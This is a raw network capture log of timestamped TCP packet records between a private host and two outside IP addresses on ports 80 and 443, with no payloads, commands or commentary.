Nov 1, 2024 05:53:15.338808060 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.338813066 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.338823080 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.338826895 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.338835001 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.338845015 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.338849068 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.338856936 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.338865995 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.338867903 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.338890076 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.338901997 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.339489937 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.339503050 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.339510918 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.339524031 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.339534044 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.339534998 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.339545012 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.339555025 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.339576960 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.412292004 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.412316084 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.412327051 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.412370920 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.412405014 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.412417889 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.412456989 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.412484884 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.412512064 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.412523031 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.412553072 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.412578106 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.412600994 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.412645102 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.412698984 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.412710905 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.412718058 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.412723064 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.412729025 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.412826061 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.412874937 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.412887096 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.412897110 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.412904024 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.412914991 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.412925959 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.412944078 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.413108110 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.413120031 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.413165092 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.413222075 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.413233042 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.413243055 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.413253069 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.413269043 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.413285971 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.413305998 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.413439989 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.413450956 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.413463116 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.413475037 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.413487911 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.413492918 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.413494110 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.413506031 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.413516045 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.413517952 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.413527966 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.413539886 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.413542986 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.413570881 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.413580894 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.413862944 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.413872004 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.413882971 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.413894892 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.413899899 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.413912058 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.413917065 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.413927078 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.413959026 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.414141893 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.414153099 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.414163113 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.414172888 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.414186001 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.414192915 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.414210081 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.414221048 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.414221048 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.414232016 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.414243937 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.414253950 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.414258003 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.414258003 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.414267063 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.414278030 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.414288044 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.414290905 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.414321899 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.414321899 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.414937019 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.414947987 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.414958000 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.414968967 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.414975882 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.414980888 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.414989948 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.414992094 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.415004969 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.415014982 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.415015936 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.415028095 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.415039062 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.415050030 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.415059090 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.415081024 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.415081024 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.415081024 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.415107965 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.451464891 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.451515913 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.451581955 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.451592922 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.451603889 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.451626062 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.451637983 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.451643944 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.451654911 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.451684952 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.451796055 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.451807022 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.451817036 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.451828003 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.451838970 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.451843023 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.451849937 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.451858044 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.451873064 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.451894999 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.451987028 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.451998949 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.452008963 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.452028990 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.452047110 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.452148914 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.452158928 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.452168941 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.452182055 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.452193022 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.452205896 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.452219963 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.452275038 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.452286005 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.452320099 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.452387094 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.452399015 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.452426910 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.452574968 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.452584982 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.452595949 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.452606916 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.452615976 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.452619076 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.452630997 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.452632904 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.452660084 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.452796936 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.452806950 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.452819109 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.452830076 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.452831030 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.452841997 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.452853918 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.452893019 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.453058958 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.453071117 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.453079939 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.453090906 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.453102112 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.453109980 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.453114033 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.453119040 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.453125954 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.453133106 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.453136921 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.453147888 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.453155994 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.453180075 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.453535080 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.453546047 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.453556061 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.453567028 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.453577995 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.453583002 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.453588009 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.453596115 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.453598976 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.453609943 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.453613997 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.453620911 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.453630924 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.453639030 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.453641891 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.453651905 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.453653097 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.453665018 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.453675985 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.453679085 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.453690052 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.453702927 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.453716993 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.454128027 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.454138994 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.454148054 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.454159975 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.454169989 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.454171896 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.454183102 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.454185963 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.454195023 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.454212904 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.454231024 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.454397917 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.454408884 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.454418898 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.454438925 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.454457998 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.454540014 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.454551935 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.454566956 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.454579115 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.454579115 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.454587936 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.454592943 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.454601049 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.454607010 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.454612970 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.454622030 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.454622984 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.454633951 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.454638958 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.454646111 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.454657078 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.454664946 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.454667091 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.454674006 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.454679012 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.454690933 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.454701900 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.454722881 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.455481052 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.455492020 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.455507994 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.455518961 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.455527067 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.455528975 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.455533981 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.455539942 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.455549955 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.455563068 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.455564976 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.455574036 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.455584049 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.455585003 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.455594063 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.455604076 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.455615044 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.455616951 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.455624104 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.455635071 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.455636978 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.455646992 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.455652952 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.455657959 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.455663919 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.455668926 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.455679893 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.455688000 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.455710888 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.456402063 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.456413984 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.456423044 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.456433058 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.456444979 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.456455946 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.456459045 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.456466913 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.456475973 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.456478119 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.456489086 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.456490993 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.456500053 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.456511021 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.456520081 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.456521034 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.456531048 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.456540108 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.456542015 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.456567049 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.456585884 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.456967115 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.456979036 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.456989050 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.457000971 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.457010984 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.457015038 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.457039118 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.457047939 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.466190100 CET	443	49991	188.114.96.3	192.168.2.5
Nov 1, 2024 05:53:15.466265917 CET	49991	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:53:15.467545033 CET	49991	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:53:15.467554092 CET	443	49991	188.114.96.3	192.168.2.5
Nov 1, 2024 05:53:15.467780113 CET	443	49991	188.114.96.3	192.168.2.5
Nov 1, 2024 05:53:15.469019890 CET	49991	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:53:15.469034910 CET	49991	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:53:15.469091892 CET	443	49991	188.114.96.3	192.168.2.5
Nov 1, 2024 05:53:15.529604912 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.529618979 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.529656887 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.529691935 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.529702902 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.529726028 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.529736996 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.529771090 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.529827118 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.529839993 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.529876947 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.529948950 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.529959917 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.529972076 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.529983044 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.529985905 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.529993057 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.530013084 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.530030966 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.530196905 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.530208111 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.530219078 CET	80	49987	185.215.113.16	192.168.2.5
